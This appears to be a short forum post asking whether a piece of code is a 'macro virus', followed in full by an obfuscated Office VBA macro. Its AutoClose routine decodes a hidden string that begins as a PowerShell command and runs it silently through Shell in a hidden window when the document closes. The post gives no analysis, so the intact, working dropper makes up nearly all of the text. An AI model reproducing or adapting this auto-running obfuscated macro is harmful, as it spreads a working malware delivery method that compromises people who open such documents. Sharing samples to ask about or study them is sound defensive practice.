Macro Virus?

Rem Attribute VBA_ModuleType=VBADocumentModule
Option VBASupport 1
Public Function obolo(bisesto As Integer) As String
 Dim variante() As Variant
 variante = Array("f", "l", "'", "g", "i", "y", "/", "n", ".", "W", "T", "C", "r", "N", "?", "D", "-", "A", "S", "e", "x", "k", ")", "j", "B", "s", "o", ";", "P", "p", " ", "a", "$", "m", ":", "X", "w", "h", "d", "=", "F", "(", "v", ",", "I", "+", "b", "O", "t", "c", "E", "u", "\")
 Dim guadagno As Integer

 For guadagno = LBound(variante) To UBound(variante)
   If guadagno = bisesto Then
    obolo = variante(guadagno)
   End If
 Next

End Function

Public Function bipede(tonsilla As String)
  Shell tonsilla, 0
End Function

Sub AutoClose()
 Call Application.Run("bipede", stirpe("29263619122537190101301613265020044830165020194930240529312525301611263333310738304113193616474623194948301805254819330813194808091946110104190748220815263607012631384004011941023748482934060629260451311248055131071919310849263306070407260636263621083338000243303219074234172828151710173045300252192950081920190222273018483112481628122649192525303219074234172828151710170252192950081920190227304113193616474623194948301805254819330813194808091946110104190748220815263607012631381848120407034102374848293406062926045131124805513107191931084926330625082937291404383936263621022227304450354141131936164746231949483018052548193308131948080919461101041907482208152636070126313818481204070341023748482934060631384219124829210849263306184831480849265107481912022222"))
End Sub


Function stirpe(badilata As String) As Variant
  Dim inter As Integer
  Dim pineta As String
  Dim fosfato As Variant
  fosfato = inedito(Trim(badilata))
  For guadagno = 0 To Len(badilata)

    Dim oliva As String
    Dim pioggia As Integer
    If (guadagno + 1) <= UBound(fosfato) Then
    oliva = fosfato(guadagno) + fosfato(guadagno + 1)
    guadagno = guadagno + 1
    pioggia = Int(oliva)
    pineta = Join(Array(pineta, obolo(pioggia)), "")
    End If
  Next

  stirpe = pineta
End Function

Function inedito(finire As String, Optional sierra As Integer) As Variant
    inedito = Split(Left(StrConv(finire, vbUnicode), Len(StrConv(finire, vbUnicode)) - 1), vbNullChar)
End Function